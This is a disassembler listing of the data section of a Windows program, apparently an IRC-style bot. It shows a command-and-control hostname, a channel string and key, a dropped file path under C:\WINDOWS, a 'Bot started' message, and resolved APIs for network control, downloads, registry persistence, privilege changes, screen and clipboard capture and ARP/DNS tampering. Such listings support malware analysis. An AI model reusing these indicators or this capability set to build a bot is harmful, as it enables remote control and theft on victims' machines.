dd 3A4h dword_423E04 dd 82798260h dd 21h, 0 dword_423E10 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_423EF0 dd 0C0000005h ; _xcptlookup+Ar ... dword_423EF4 dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_423F68 dd 3 ; _raise+C8r dword_423F6C dd 7 ; _raise+CDr dword_423F70 dd 0Ah ; _siglookup+4r dword_423F74 dd 8Ch ; __XcptFilter+8Fw ... dword_423F78 dd 2 ; __NMSG_WRITE+28r off_423F7C dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr ; __NMSG_WRITE+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 41C6B8h, 9, 41C68Ch, 0Ah, 41C668h, 10h, 41C63Ch dd 11h, 41C60Ch, 12h, 41C5E8h, 13h, 41C5BCh, 18h, 41C584h dd 19h, 41C55Ch, 1Ah, 41C524h, 1Bh, 41C4ECh, 1Ch, 41C4C4h dd 78h, 41C4B4h, 79h, 41C4A4h, 7Ah, 41C494h, 0FCh, 41C490h dd 0FFh, 41C480h off_424008 dd offset dword_4705A0 ; DATA XREF: __NMSG_WRITE+1Bo ; ___initstdio+55o align 10h dd offset dword_4705A0 dd 101h dword_424018 dd 0FFFFFFFFh, 0 dd 1000h, 0 dword_424028 dd 3 dup(0) dd 2, 0FFFFFFFFh, 3 dup(0) dword_424048 dd 3 dup(0) dd 2, 0FFFFFFFFh, 7 dup(0) dword_424078 dd 84h dup(0) dword_424288 dd 2694h ; __except1+46r ... align 10h dword_424290 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_4242A8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_4242C0 dd 1 dword_4242C4 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_424428 dd 7080h ; __dosmaperr+19o ... dword_42442C dd 1 ; __tzset+8Bw ... dword_424430 dd 0FFFFF1F0h ; __tzset+94w ... dword_424434 dd 545350h, 0Fh dup(0)dword_424474 dd 544450h, 0Fh dup(0); LPSTR lpMultiByteStr lpMultiByteStr dd offset dword_424434 ; DATA XREF: __tzset+BAr __tzset+D9r ... ; LPSTR off_4244B8 off_4244B8 dd offset dword_424474 ; DATA XREF: __tzset+F4r __tzset+11Br ... align 10h dword_4244C0 dd 0FFFFFFFFh dword_4244C4 dd 0 ; _cvtdate+BFw dword_4244C8 dd 0 ; _cvtdate+E0w align 10h dword_4244D0 dd 0FFFFFFFFh dword_4244D4 dd 0 ; _cvtdate+EAw ... dword_4244D8 dd 0 ; _cvtdate+23r ... dword_4244DC dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_42450C dd 16Dh ; _cvtdate+2Er ... dword_424510 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_424548 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4246A8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: ___multtenpow12+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_424804 dd offset off_41C898 ; DATA XREF: .rdata:off_41C8E0o ; .rdata:0041CA44o ... dd 0 a_?avexception@ db '.?AVexception@@',0 off_42481C dd offset off_41C898 ; DATA XREF: .rdata:off_41C8F8o ; .rdata:0041C938o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_42483C dd offset off_41C898 ; DATA XREF: .rdata:off_41C940o ; .rdata:0041C984o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_42485C dd offset off_41C898 ; DATA XREF: .rdata:off_41C98Co ; .rdata:0041C9D0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_424880 dd offset off_41C898 ; DATA XREF: .rdata:off_41C9D8o ; .rdata:0041CA14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) dd 2 dup(0) byte_4248A4 db 0 ; DATA XREF: sub_401000+38r align 4 dword_4248A8 dd 0 dword_4248AC dd 0 byte_4248B0 db 0 ; DATA XREF: sub_40110C+38r align 8 dword_4248B8 dd 2 dup(0) dword_4248C0 dd 0 dword_4248C4 dd 2 dup(0) byte_4248CC db 0 ; DATA XREF: .text:00403B2Do ; .text:00403B58o ... align 10h dd 3Fh dup(0) word_4249CC dw 0 ; DATA XREF: sub_403564+1Cr align 10h dword_4249D0 dd 2 dup(0) dword_4249D8 dd 2 dup(0) dword_4249E0 dd 2 dup(0) ; SOCKET s s dd 0 ; DATA XREF: sub_404498+27w ; sub_404498+51r ... ; u_short hostshort hostshort dd 0 ; DATA XREF: .text:004029EBr ; sub_403C1E+6Ew ... dd 2 dup(0) byte_4249F8 db 0 ; DATA XREF: StartAddress+2F4r align 10h dword_424A00 dd 0 ; sub_405254+58r ... dword_424A04 dd 0 ; sub_405A2E+DBw ... dd 3E6h dup(0) ; struct _RTL_CRITICAL_SECTION CriticalSection CriticalSection _RTL_CRITICAL_SECTION <0> ; DATA XREF: sub_405759+146o ; sub_405759+1D1o ... dword_4259B8 dd 0 ; sub_404F31+2AAo ; char byte_4259BC[] byte_4259BC db 104h dup(0) ; DATA XREF: sub_404F31+1E4o ; sub_404F31+26Ao ; char byte_425AC0[] byte_425AC0 db 104h dup(0) ; DATA XREF: sub_404F31+1FBo ; sub_404F31:loc_405196o dword_425BC4 dd 0 ; sub_404F31+2BEr ... dword_425BC8 dd 0 dword_425BCC dd 0 ; sub_404F31+26Fr ; char byte_425BD0[] byte_425BD0 db 80h dup(0) ; DATA XREF: sub_404F31+22Fo ; sub_404F31+251o dword_425C50 dd 0 dword_425C54 dd 0 ; sub_404F31+25Ew dword_425C58 dd 0 align 10h dword_425C60 dd 0 ; sub_404F31+E7r ... ; char Filename[] Filename db 104h dup(0) ; DATA XREF: sub_404F31+54o ; sub_404F31+DAo ; char byte_425D68[] byte_425D68 db 104h dup(0) ; DATA XREF: sub_404F31+6Bo ; sub_404F31:loc_405006o dword_425E6C dd 0 ; sub_404F31+13Dr ... dword_425E70 dd 0 word_425E74 dw 0 ; DATA XREF: sub_404F31+42w ; sub_404F31+DFr ; char byte_425E76[] byte_425E76 db 82h dup(0) ; DATA XREF: sub_404F31+9Fo ; sub_404F31+C1o dword_425EF8 dd 0 dword_425EFC dd 0 ; sub_404F31+CEw dword_425F00 dd 0 align 8 ; char byte_425F08 byte_425F08 db 0 ; DATA XREF: sub_406B0C+348w ; sub_406B0C+432o align 2 word_425F0A dw 0 ; DATA XREF: sub_406B0C+35Aw word_425F0C dw 0 ; DATA XREF: sub_406B0C+360w word_425F0E dw 0 ; DATA XREF: sub_406B0C+369w byte_425F10 db 0 ; DATA XREF: sub_406B0C+371w byte_425F11 db 0 ; DATA XREF: sub_406B0C+378w word_425F12 dw 0 ; DATA XREF: sub_406B0C+37Fw dword_425F14 dd 0 dword_425F18 dd 0 word_425F1C dw 0 ; DATA XREF: sub_406B0C+3EAw word_425F1E dw 0 ; DATA XREF: sub_406B0C+3C6w ; sub_406B0C+3D7w word_425F20 dw 0 ; DATA XREF: sub_406B0C+3FCw word_425F22 dw 0 ; DATA XREF: sub_406B0C+3A4w dword_425F24 dd 101h dup(0) dword_426328 dd 77F16CA6h ; resolved to->GDI32.DeleteDC ; sub_407087+510r dword_42632C dd 7C863ED8h ; resolved to->KERNEL32.Module32First ; sub_40F5A7+110r dword_426330 dd 771D35B1h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_407087+9D8r ... dword_426334 dd 5B89425Ch ; sub_407087+BAAr dword_426338 dd 5B8706B8h ; sub_407087+B74r dword_42633C dd 77F159A0h ; resolved to->GDI32.SelectObject ; sub_407087+4FEr dword_426340 dd 5B894058h ; sub_407087+BA1r dword_426344 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_407087+3E4r ... dword_426348 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_42634C dd 7C827421h ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_407087+113r dword_426350 dd 5B8705E8h ; sub_407087+B6Br dword_426354 dd 771C8840h ; resolved to->WININET.InternetCrackUrlA ; sub_407087+A0Er dword_426358 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_407087+34Er dword_42635C dd 771C6FDDh ; resolved to->WININET.InternetOpenUrlA ; sub_407087+A05r ... dword_426360 dd 7C8256DAh ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_407087+140r dword_426364 dd 771C9555h ; resolved to->WININET.InternetReadFile ; sub_407087+A17r ... dword_426368 dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_407087+7C2r dword_42636C dd 7C863C00h ; resolved to->KERNEL32.Process32Next ; sub_405D52+126r ... dword_426370 dd 76F3792Eh ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_407087+C29r ... dword_426374 dd 7C80A417h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_407087+137r dword_426378 dd 77F1A147h ; resolved to->GDI32.GetDIBColorTable ; sub_407087+4F5r dword_42637C dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_407087+686w dword_426380 dd 5B8A2F01h ; sub_407087+B98r dword_426384 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_407087+851r dword_426388 dd 71B25099h ; sub_407087+D24w ... dword_42638C dd 771D73E0h ; resolved to->WININET.InternetGetConnectedState ; sub_407087+9CFr ... dword_426390 dd 77D89E6Dh ; resolved to->USER32.ExitWindowsEx ; sub_407087+27Fr ... dword_426394 dd 5B868FC1h ; sub_407087+B7Dr dword_426398 dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_42639C dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_40634F+1C3r ... dword_4263A0 dd 77F16A3Bh ; resolved to->GDI32.DeleteObject ; sub_407087+519r dword_4263A4 dd 5B894439h ; sub_407087+BB3r dword_4263A8 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_407087+357r ... dword_4263AC dd 7C834373h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_407087+11Cr dword_4263B0 dd 7CA0FE44h ; resolved to->SHELL32.ShellExecuteA ; sub_407087+DA8r ... dword_4263B4 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_407087+569w ... dword_4263B8 dd 771C76B8h ; resolved to->WININET.HttpSendRequestA ; sub_407087+9EAr dword_4263BC dd 5B897AE1h ; sub_407087+B86r dword_4263C0 dd 74344AE7h ; sub_407087+E80r dword_4263C4 dd 74327E4Dh ; sub_407087+E92r dword_4263C8 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; .text:00405670r ... dword_4263CC dd 771C6D2Ah ; resolved to->WININET.InternetOpenA ; sub_407087+9FCr ... dword_4263D0 dd 77D4B7DBh ; resolved to->USER32.IsWindow ; sub_407087+252r dword_4263D4 dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_407087+8ABr ... dword_4263D8 dd 71AB406Ah ; resolved to->WS2_32.connect ; .text:00402AFDr ... dword_4263DC dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_407087+7CFr dword_4263E0 dd 0CC0004h ; sub_407087+A54r ... dword_4263E4 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_407087+33Cr ... dword_4263E8 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_407087+8C6r ... dword_4263EC dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_407087+3B5r ... dword_4263F0 dd 743452A3h ; sub_407087+E77r dword_4263F4 dd 771C4AC5h ; resolved to->WININET.HttpOpenRequestA ; sub_407087+9E1r dword_4263F8 dd 77D4EEF7h ; resolved to->USER32.OpenClipboard ; sub_407087+264r dword_4263FC dd 771C44DBh ; resolved to->WININET.InternetConnectA ; sub_407087+9F3r dword_426400 dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; .text:004056FBr ... dword_426404 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_407087+360r ... dword_426408 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_407087+8A2r dword_42640C dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_407087+3ACr ... dword_426410 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_405369+129r ... dword_426414 dd 77F1CE55h ; resolved to->GDI32.CreateDCA ; sub_407087+4D1r dword_426418 dd 77D6FCB2h ; resolved to->USER32.GetClipboardData ; sub_407087+26Dr dword_42641C dd 76F37A65h ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_A ; sub_407087+C32r dword_426420 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_405254+33r ... dword_426424 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; .text:00402AD1r ... dword_426428 dd 7C863A8Dh ; resolved to->KERNEL32.Process32First ; sub_405D52+10Br ... dword_42642C dd 77F158A2h ; resolved to->GDI32.GetDeviceCaps ; sub_407087+4ECr dword_426430 dd 77D6F3C6h ; resolved to->USER32.FindWindowA ; sub_407087+249r ... dword_426434 dd 5B8A5091h ; sub_407087+BC5r dword_426438 dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_407087+8B4r dword_42643C dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4016C0+3F0r ... dword_426440 dd 74343318h ; sub_407087+E89r dword_426444 dd 7C8647B7h ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_405D52+DBr ... dword_426448 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_407087+345r ... dword_42644C dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_407087+890r dword_426450 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_407087+6E5w ... dword_426454 dd 771C61DCh ; resolved to->WININET.InternetCloseHandle ; sub_407087+A20r ... dword_426458 dd 0 ; sub_407087+166r ... dword_42645C dd 743527D4h ; sub_407087+E65r dword_426460 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; .text:00402AE2r ... dword_426464 dd 77F19610h ; resolved to->GDI32.CreateDIBSection ; sub_407087+4DAr dword_426468 dd 77F16DC0h ; resolved to->GDI32.BitBlt ; sub_407087+507r dword_42646C dd 77F15E10h ; resolved to->GDI32.CreateCompatibleDC ; sub_407087+4E3r dword_426470 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_4016C0+3B5r ... dword_426474 dd 77D4EEE5h ; resolved to->USER32.CloseClipboard ; sub_407087+276r dword_426478 dd 5B86ABA1h ; sub_407087+BBCr dword_42647C dd 77D4E2AEh ; resolved to->USER32.SendMessageA ; sub_407087+240r ... dword_426480 dd 7C822CFBh ; resolved to->KERNEL32.GetDriveTypeA ; sub_407087+125r dword_426484 dd 71AB2C69h ; resolved to->WS2_32.sendto ; StartAddress+4C7r ... dword_426488 dd 71B2547Ah ; sub_407087+D3Br dword_42648C dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_407087+3BEr ... dword_426490 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_407087+333r dword_426494 dd 7C9FAC27h ; resolved to->SHELL32.SHChangeNotify ; sub_407087+DB1r dword_426498 dd 76D6A15Dh ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_407087+C9Fr dword_42649C dd 76D6992Ah ; resolved to->IPHLPAPI.GetIpNetTable ; sub_407087+C96r dword_4264A0 dd 71AB3B91h ; resolved to->WS2_32.socket ; .text:0040383Fr ... dword_4264A4 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_407087+8BDr ... dword_4264A8 dd 7432FF6Bh ; sub_407087+E6Er dword_4264AC dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_404EAD+2Br ... dword_4264B0 dd 5B8678B0h ; sub_407087+B8Fr dword_4264B4 dd 71AC1028h ; resolved to->WS2_32.accept ; sub_407087+899r dword_4264B8 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_4016C0+341r ... dword_4264BC dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_407087+601w ... dword_4264C0 dd 71B2578Ch ; sub_401000+E9r ... dword_4264C4 dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_407087+7B5r dword_4264C8 dd 71B2517Fh ; sub_407087+D29r dword_4264CC dd 7C80AA97h ; resolved to->KERNEL32.SetErrorMode ; sub_407087+EFr ... dword_4264D0 dd 77D4E666h ; resolved to->USER32.DestroyWindow ; sub_407087+25Br align 8 dword_4264D8 dd 7C826A01h ; resolved to->KERNEL32.SearchPathA ; sub_407087+12Er ... dword_4264DC dd 0 ; sub_407087+186w dword_4264E0 dd 0 dword_4264E4 dd 0 ; sub_407087+29Fw dword_4264E8 dd 0 dword_4264EC dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_407087:loc_40744Ew ... dword_4264F0 dd 0 dword_4264F4 dd 0 ; sub_407087+539w dword_4264F8 dd 0 dword_4264FC dd 0 ; sub_407087+8EFw dword_426500 dd 0 dword_426504 dd 0 ; sub_407087+A71w ... dword_426508 dd 0 dd 2 dup(0) dword_426514 dd 0 ; sub_407087+BE5w dword_426518 dd 0 dword_42651C dd 0 ; sub_407087+C52w dword_426520 dd 0 dword_426524 dd 0 ; sub_407087+CBFw dword_426528 dd 0 dword_42652C dd 0 ; sub_407087+D64w dword_426530 dd 0 dword_426534 dd 0 ; sub_407087+DD1w dword_426538 dd 0 dword_42653C dd 0 ; sub_407087+EB2w dword_426540 dd 0 dd 2 dup(0) ; char byte_42654C[] byte_42654C db 204h dup(0) ; DATA XREF: sub_40834A+ADo ; sub_40834A+BAo dword_426750 dd 0 ; char Dest[] Dest db 14h dup(0) ; DATA XREF: sub_40892F+47o ; sub_40892F+54o dword_426768 dd 0 ; char byte_42676C[] byte_42676C db 38h dup(0) ; DATA XREF: sub_408A81+77o ; sub_408A81+84o dword_4267A4 dd 0 ; char byte_4267A8 byte_4267A8 db 5Bh ; DATA XREF: sub_40913D+2Cr ; sub_40913D+3Fo ... db 30h, 36h, 2Dh dd 322D3130h, 20383030h, 353A3131h, 33353A30h, 6E02205Dh dd 6D1F7A02h, 6928201Fh, 702E6372h, 671F6C1Fh, 0BB022029h dd 202002BBh, 20746F42h, 72617473h, 2E646574h, 0FF3h dup(0) dword_42A7B0 dd 0 dword_42A7B4 dd 2 dup(0) dword_42A7BC dd 0 byte_42A7C0 db 0 ; DATA XREF: .text:00409005r ; .text:0040901Co ... align 4 dd 5 dup(0) dword_42A7D8 dd 2DAh dup(0) ; sub_40909D+51o ... byte_42B340 db 2 ; DATA XREF: sub_405759+112o ; sub_4095D3+225o ... db 6Eh, 2, 7Ah dd 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh, 2BBBB02h dd 6F422020h, 74732074h, 65747261h, 2E64h, 76h dup(0) dword_42B540 dd 0 ; sub_4103E7+68w ... dword_42B544 dd 0 ; sub_405759+7Dr ... dword_42B548 dd 0 ; sub_4103E7+88r ... dword_42B54C dd 198h ; sub_409C28+Cr ... dword_42B550 dd 0 ; sub_4103E7+119w ... dword_42B554 dd 0 ; sub_404F31+15Ar ... aUsaXpSp2667553 db 'USA|XP|SP2|667553',0 ; DATA XREF: sub_40A776+CEo ; sub_410231+9Ew ... align 4 dd 12BCh dup(0) dword_43005C dd 55BDh dup(0) dword_445750 dd 0AA60h dup(0)dword_4700D0 dd 4Dh ; sub_40ABFE:loc_40C7FFr align 8 dword_4700D8 dd 0 ; char aNeo12_cjb_ne_0[] aNeo12_cjb_ne_0 db 'neo12.cjb.net',0 ; DATA XREF: WinMain(x,x,x,x)+46Fo ; WinMain(x,x,x,x)+56Eo ... align 4 dd 1Ch dup(0) ; char aNhg_0[] aNhg_0 db '#!nhg!#',0 ; DATA XREF: WinMain(x,x,x,x)+48Do ; WinMain(x,x,x,x)+58Co ... dd 0Eh dup(0) ; char aAsdasd_0[] aAsdasd_0 db 'asdasd',0 ; DATA XREF: WinMain(x,x,x,x)+4A1o ; WinMain(x,x,x,x)+5A0o ... align 4 dd 22h dup(0) dword_47022C dd 7B9h ; WinMain(x,x,x,x)+580w ... dword_470230 dd 0 align 8 dd 1, 0 dword_470240 dd 0 byte_470244 db 0 ; DATA XREF: sub_40A9EB:loc_40AA2Er ; sub_40A9EB+4Eo align 4 ; char byte_470248 byte_470248 db 0 ; DATA XREF: WinMain(x,x,x,x)+5BFr ; WinMain(x,x,x,x)+5CCo align 4 ; char byte_47024C[] byte_47024C db 4 dup(0) ; DATA XREF: WinMain(x,x,x,x)+5EAo ; char byte_470250[] byte_470250 db 4 dup(0) ; DATA XREF: WinMain(x,x,x,x)+5FEo dword_470254 dd 0 ; WinMain(x,x,x,x):loc_40A66Dr ... dword_470258 dd 0 ; sub_40ABFE+A99r ... dword_47025C dd 0 ; char byte_470260[] byte_470260 db 4 dup(0) ; DATA XREF: sub_40ABFE+C46o ; char byte_470264[] byte_470264 db 4 dup(0) ; DATA XREF: sub_40ABFE+2BFEo ; char byte_470268[] byte_470268 db 8 dup(0) ; DATA XREF: sub_40ABFE:loc_40F3B9o dword_470270 dd 0 dword_470274 dd 0 dword_470278 dd 0 byte_47027C db 0 ; DATA XREF: sub_410081:loc_41012Cr ; sub_410081+10Ew align 10h dd 2 dup(0) dword_470288 dd 0 align 10h dword_470290 dd 0 align 8 word_470298 dw 0 ; DATA XREF: _time+55r _time+9Ao word_47029A dw 0 ; DATA XREF: _time+48r db 2 dup(0) word_47029E dw 0 ; DATA XREF: _time+3Br word_4702A0 dw 0 ; DATA XREF: _time+2Er word_4702A2 dw 0 ; DATA XREF: _time+21r align 8 dword_4702A8 dd 0 dword_4702AC dd 0 dword_4702B0 dd 0 ; __read+A5w ... dword_4702B4 dd 0 dword_4702B8 dd 0A28h dword_4702BC dd 501h dword_4702C0 dd 5 dword_4702C4 dd 1 dword_4702C8 dd 3 ; __setargv+91w dword_4702CC dd 480AA0h ; WinMain(x,x,x,x)+3CCr ... dd 0 ; void *dword_4702D4 dword_4702D4 dd 480A20h dword_4702D8 dd 0 dword_4702DC dd 0 ; ___wtomb_environ+4r ... dd 0 off_4702E4 dd offset aCWindowsNrzi_e ; DATA XREF: __setargv+2Ew ; "C:\\WINDOWS\\Nrzi.exe" dd 0 byte_4702EC db 0 ; DATA XREF: _doexit+2Dw ; ___endstdio+5r align 10h dword_4702F0 dd 0 dword_4702F4 dd 0 ; void *Memory Memory dd 0 ; DATA XREF: start+84w ; __setenvp:loc_417965r ... align 10h dword_470300 dd 0 ; _fast_error_exitr ... dword_470304 dd 0 ; _realloc:loc_415A94r ... dword_470308 dd 0 dword_47030C dd 0 byte_470310 db 0 ; DATA XREF: __cftoe+3r __cftoe+98r ... align 4 dword_470314 dd 0 byte_470318 db 0 ; DATA XREF: __cftog+51w align 4 ; void *lp lp dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+4Er ; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar ... dword_470320 dd 0 ; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+43r ... dword_470324 dd 0 ; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *)+5r dword_470328 dd 0 dword_47032C dd 1 ; ___crtLCMapStringA+4Cw ... dd 2 dup(0) ; LCID dword_470338 dword_470338 dd 0 dd 3 dup(0) ; UINT dword_470348 dword_470348 dd 0 ; _getSystemCP+3Ar ... align 10h dword_470350 dd 1 ; _getSystemCP+4w ... dword_470354 dd 0 ; __XcptFilter+46w ... ; char aCWindowsNrzi_e[] aCWindowsNrzi_e db 'C:\WINDOWS\Nrzi.exe',0 ; DATA XREF: __setargv:loc_417A23o ; .data:off_4702E4o dd 3Ch dup(0) dword_47045C dd 1 ; ___crtGetEnvironmentStringsA+23w ... dword_470460 dd 0 dword_470464 dd 0 word_470468 dw 0 ; DATA XREF: __fltout+1Ao __fltout+46r byte_47046A db 0 ; DATA XREF: __fltout+39r align 4 dword_47046C dd 7 dup(0) dword_470488 dd 0 dword_47048C dd 0 dword_470490 dd 0 dword_470494 dd 0 ; LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter lpTopLevelExceptionFilter dd 77C2807Ch ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_418A42r ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+38r ... dword_47049C dd 1 ; ___crtGetStringTypeA:loc_418B54w dword_4704A0 dd 0 align 8 dword_4704A8 dd 0 align 10h ; struct 